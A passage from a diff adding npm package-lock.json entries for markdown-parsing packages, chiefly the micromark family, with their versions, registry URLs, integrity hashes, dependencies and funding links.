+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-to-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz",
+ "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdx": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/mdx/-/mdx-0.2.3.tgz",
+ "integrity": "sha512-HS8RIJMW//gskRrNNAaxGd42RqA/7idbn8gr0+pp33LWxdnZk4coXigPw16g71TdtHxKF59IuY7pw1ODsQeOiQ==",
+ "dependencies": {
+ "mustache": "2.2.1",
+ "object-assign": "4.0.1",
+ "read-input": "0.3.1",
+ "yargs": "3.31.0"
+ },
+ "bin": {
+ "mdx": "bin/mdx"
+ }
+ },
+ "node_modules/mdx/node_modules/object-assign": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.0.1.tgz",
+ "integrity": "sha512-c6legOHWepAbWnp3j5SRUMpxCXBKI4rD7A5Osn9IzZ8w4O/KccXdW0lqdkQKbpk0eHGjNgKihgzY6WuEq99Tfw==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/merge2": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/micromark": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.1.tgz",
+ "integrity": "sha512-eBPdkcoCNvYcxQOAKAlceo5SNdzZWfF+FcSupREAzdAh9rRmE239CEQAiTwIgblwnoM8zzj35sZ5ZwvSEOF6Kw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "@types/debug": "^4.0.0",
+ "debug": "^4.0.0",
+ "decode-named-character-reference": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-core-commonmark": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-combine-extensions": "^2.0.0",
+ "micromark-util-decode-numeric-character-reference": "^2.0.0",
+ "micromark-util-encode": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-resolve-all": "^2.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "micromark-util-subtokenize": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-core-commonmark": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.2.tgz",
+ "integrity": "sha512-FKjQKbxd1cibWMM1P9N+H8TwlgGgSkWZMmfuVucLCHaYqeSvJ0hFeHsIa65pA2nYbes0f8LDHPMrd9X7Ujxg9w==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "decode-named-character-reference": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-factory-destination": "^2.0.0",
+ "micromark-factory-label": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-factory-title": "^2.0.0",
+ "micromark-factory-whitespace": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-classify-character": "^2.0.0",
+ "micromark-util-html-tag-name": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-resolve-all": "^2.0.0",
+ "micromark-util-subtokenize": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-extension-gfm": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz",
+ "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==",
+ "dependencies": {
+ "micromark-extension-gfm-autolink-literal": "^2.0.0",
+ "micromark-extension-gfm-footnote": "^2.0.0",
+ "micromark-extension-gfm-strikethrough": "^2.0.0",
+ "micromark-extension-gfm-table": "^2.0.0",
+ "micromark-extension-gfm-tagfilter": "^2.0.0",
+ "micromark-extension-gfm-task-list-item": "^2.0.0",
+ "micromark-util-combine-extensions": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-autolink-literal": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz",
+ "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==",
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-footnote": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz",
+ "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-core-commonmark": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-strikethrough": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz",
+ "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-classify-character": "^2.0.0",
+ "micromark-util-resolve-all": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-table": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.0.tgz",
+ "integrity": "sha512-Ub2ncQv+fwD70/l4ou27b4YzfNaCJOvyX4HxXU15m7mpYY+rjuWzsLIPZHJL253Z643RpbcP1oeIJlQ/SKW67g==",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-tagfilter": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz",
+ "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==",
+ "dependencies": {
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-task-list-item": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz",
+ "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdx-expression": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-3.0.0.tgz",
+ "integrity": "sha512-sI0nwhUDz97xyzqJAbHQhp5TfaxEvZZZ2JDqUo+7NvyIYG6BZ5CPPqj2ogUoPJlmXHBnyZUzISg9+oUmU6tUjQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-factory-mdx-expression": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-extension-mdx-jsx": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-3.0.1.tgz",
+ "integrity": "sha512-vNuFb9czP8QCtAQcEJn0UJQJZA8Dk6DXKBqx+bg/w0WGuSxDxNr7hErW89tHUY31dUW4NqEOWwmEUNhjTFmHkg==",
+ "dependencies": {
+ "@types/acorn": "^4.0.0",
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "micromark-factory-mdx-expression": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdx-md": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-2.0.0.tgz",
+ "integrity": "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==",
+ "dependencies": {
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdxjs": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-3.0.0.tgz",
+ "integrity": "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==",
+ "dependencies": {
+ "acorn": "^8.0.0",
+ "acorn-jsx": "^5.0.0",
+ "micromark-extension-mdx-expression": "^3.0.0",
+ "micromark-extension-mdx-jsx": "^3.0.0",
+ "micromark-extension-mdx-md": "^2.0.0",
+ "micromark-extension-mdxjs-esm": "^3.0.0",
+ "micromark-util-combine-extensions": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdxjs-esm": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-3.0.0.tgz",
+ "integrity": "sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-core-commonmark": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unist-util-position-from-estree": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-factory-destination": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz",
+ "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-label": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz",
+ "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-mdx-expression": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-2.0.2.tgz",
+ "integrity": "sha512-5E5I2pFzJyg2CtemqAbcyCktpHXuJbABnsb32wX2U8IQKhhVFBqkcZR5LRm1WVoFqa4kTueZK4abep7wdo9nrw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unist-util-position-from-estree": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ }
+ },
+ "node_modules/micromark-factory-space": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz",
+ "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-title": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz",
+ "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-whitespace": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz",
+ "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-character": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz",
+ "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-chunked": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz",
+ "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-classify-character": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz",
+ "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-combine-extensions": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz",
+ "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-decode-numeric-character-reference": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz",
+ "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-decode-string": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz",
+ "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "decode-named-character-reference": "^1.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-decode-numeric-character-reference": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-encode": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz",
+ "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ]
+ },
+ "node_modules/micromark-util-events-to-acorn": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-2.0.2.tgz",
+ "integrity": "sha512-Fk+xmBrOv9QZnEDguL9OI9/NQQp6Hz4FuQ4YmCb/5V7+9eAh1s6AYSvL20kHkD67YIg7EpE54TiSlcsf3vyZgA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "@types/acorn": "^4.0.0",
+ "@types/estree": "^1.0.0",
+ "@types/unist": "^3.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-visit": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ }
+ },
+ "node_modules/micromark-util-html-tag-name": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz",
+ "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ]
+ },
+ "node_modules/micromark-util-normalize-identifier": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz",
+ "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-resolve-all": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz",
+ "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-sanitize-uri": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz",
+ "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-encode": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-subtokenize": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.0.3.tgz",
+ "integrity": "sha512-VXJJuNxYWSoYL6AJ6OQECCFGhIU2GGHMw8tahogePBrjkG8aCCas3ibkp7RnVOSTClg2is05/R7maAhF1XyQMg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-symbol": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz",
+ "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ]
+ },
+ "node_modules/micromark-util-types": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.1.tgz",
+ "integrity": "sha512-534m2WhVTddrcKVepwmVEVnUAmtrx9bfIjNoQHRqfnvdaHQiFytEhJoTgpWJvDEXCO5gLTQh3wYC1PgOJA4NSQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ]
+ },
+ "node_modules/micromatch": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+ "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+ "dependencies": {
+ "braces": "^3.0.3",
+ "picomatch": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=8.6"
+ }
+ },
+ "node_modules/mime-db": {
+ "version": "1.52.0",
